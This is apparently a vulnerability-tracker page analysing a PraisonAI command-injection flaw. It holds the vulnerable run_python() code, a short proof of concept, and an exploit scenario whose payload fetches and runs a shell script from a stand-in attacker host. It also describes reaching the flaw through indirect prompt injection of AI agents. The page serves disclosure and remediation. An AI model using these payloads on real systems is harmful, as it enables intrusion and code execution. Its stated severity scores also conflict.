Python
CVE-2026-34937
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessInject shell metacharacters into code parameter
-
ExploitBypass incomplete escaping of $() and backticks
-
ExecutionExecute arbitrary OS commands via shell=True
-
ImpactAchieve code execution with user privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker requires low-privilege local access to the system running PraisonAI and must invoke the run_python() function with attacker-controlled code argument. No user interaction required. Default installations are vulnerable due to incomplete shell metacharacter escaping in subprocess.run() with shell=True. |
| Impact | The CVSS v3.1 base score of 7.8 (High severity) reflects the local attack vector (AV:L) requiring authenticated access (PR:L) with low attack complexity (AC:L) and no user interaction (UI:N), resulting in complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). However, the local-only attack vector substantially reduces real-world exposure compared to remotely exploitable command injection flaws. EPSS data is not provided, but the combination of public proof-of-concept availability and the niche deployment footprint of AI agent frameworks suggests moderate exploitation probability limited to targeted attacks against organizations deploying PraisonAI in multi-user environments or exposing agent APIs without proper authentication controls. The vulnerability is not present in CISA's Known Exploited Vulnerabilities catalog, indicating no confirmed widespread exploitation campaigns. From an SSVC perspective: exploitation is proof-of-concept (public code exists), automatable given the straightforward injection vector, and technical impact is total (arbitrary code execution). Priority depends heavily on deployment context-critical for exposed API endpoints serving untrusted users, lower priority for isolated research environments. The local attack vector requirement and authentication prerequisite mitigate risk compared to unauthenticated remote command injection vulnerabilities that typically warrant emergency patching. |
| Exploit ScenarioDerived | An attacker with authenticated local access to a system running PraisonAI deploys a malicious AI agent task or manipulates agent pipeline configuration to inject the payload code='$(wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s)' into the run_python() function. When the agent framework processes this task, the incomplete escaping logic fails to neutralize the $() command substitution, and subprocess.run() with shell=True invokes /bin/sh, which executes the attacker's wget command to download and run a reverse shell before Python is ever invoked. The attacker gains a shell with the privileges of the PraisonAI process user, typically the application service account, enabling lateral movement, data exfiltration, or further system compromise. In scenarios where the Flask API server is deployed with default AUTH_ENABLED=False settings, remote attackers could potentially trigger this vulnerability through indirect prompt injection by embedding malicious instructions in documents processed by the AI agents, though the CVSS vector indicates local attack requirements suggesting direct local access is the primary threat model. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 02, 2026
Command injection in PraisonAI's run_python() function allows authenticated local attackers to execute arbitrary operating system commands with the privileges of the application process. The vulnerability stems from incomplete input sanitization that fails to escape shell metacharacters ($() and backticks) before passing user-controlled code to subprocess.run() with shell=True. Attackers with low-privilege local access can exploit this to achieve full system compromise (confidentiality, integrity, and availability impact rated High). Proof-of-concept code demonstrates successful command injection via the praisonaiagents Python package. No active exploitation confirmed via CISA KEV at time of analysis, but publicly available exploit code exists in the GitHub security advisory.
RemediationAI
Organizations should immediately review PraisonAI deployments and apply available patches per the vendor advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-w37c-qqfp-c67f. The specific patched version number is not provided in the available intelligence data; users should consult the GitHub advisory and repository release notes for the fixed version and upgrade the praisonaiagents package via pip. As an interim mitigation, disable or restrict access to the run_python() function and any API endpoints that expose code execution capabilities to untrusted users. Enable authentication controls by configuring AUTH_ENABLED=True and requiring valid authentication tokens for all Flask API server deployments. Implement input validation that rejects or safely handles shell metacharacters before any subprocess invocation, and consider refactoring the run_python() implementation to use subprocess.run() with shell=False and argument list arrays instead of shell string interpolation. Organizations unable to patch immediately should isolate PraisonAI deployments to trusted networks and audit all agent pipeline configurations to ensure user-controlled content cannot reach the vulnerable code path.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PraisonAI is a Python-based AI agent framework (distributed via PyPI as praisonaiagents) that provides code execution capabilities for autonomous agents. The vulnerable run_python() function in execute_command.py constructs shell commands by embedding user input into a python3 -c "<code>" string pattern. The sanitization logic only escapes backslashes and double quotes, but fails to neutralize POSIX shell command substitution operators like $() and backticks. When this malformed command string reaches subprocess.run() with shell=True, the underlying shell (typically bash or sh) processes the substitution operators before Python is invoked, resulting in CWE-78 (OS Command Injection). The vulnerability is compounded by the framework's auto-generated Flask API server deploying with AUTH_ENABLED=False by default when no authentication token is configured, potentially exposing the run_python() endpoint to indirect prompt injection attacks where malicious instructions embedded in documents or external data sources trigger the vulnerable code path during agent execution workflows.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionNVD
Summary
run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.
Details
execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):
# hop -- incomplete escaping, $ and () not handled
escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
command = f'{python_cmd} -c "{escaped_code}"'
# sink -- shell=True expands $() before python3 runs
return execute_command(command=command, cwd=cwd, timeout=timeout)
# execute_command calls subprocess.run(command, shell=True, ...)PoC
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python
result = run_python(code='$(id > /tmp/injected)')
print(result)
# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...Impact
Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.
Executive ViewAI
PraisonAI versions containing the run_python() function are vulnerable to authenticated command injection that allows local attackers to execute arbitrary operating system commands with application-level privileges. Organizations using PraisonAI for code execution or AI agent tasks face risk of full system compromise if attackers gain local access to systems running the vulnerable package.
No vendor-released patch identified at time of analysis. Interim mitigations: disable or restrict access to run_python() functionality in PraisonAI; enforce strict principle-of-least-privilege on application process execution context; implement filesystem and process-level sandboxing using OS-level controls (AppArmor, SELinux, or Windows Software Restriction Policies); monitor subprocess execution logs for suspicious command patterns; restrict local system access to trusted administrators only.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Affected Products (CPE)NVD
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-w37c-qqfp-c67f
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB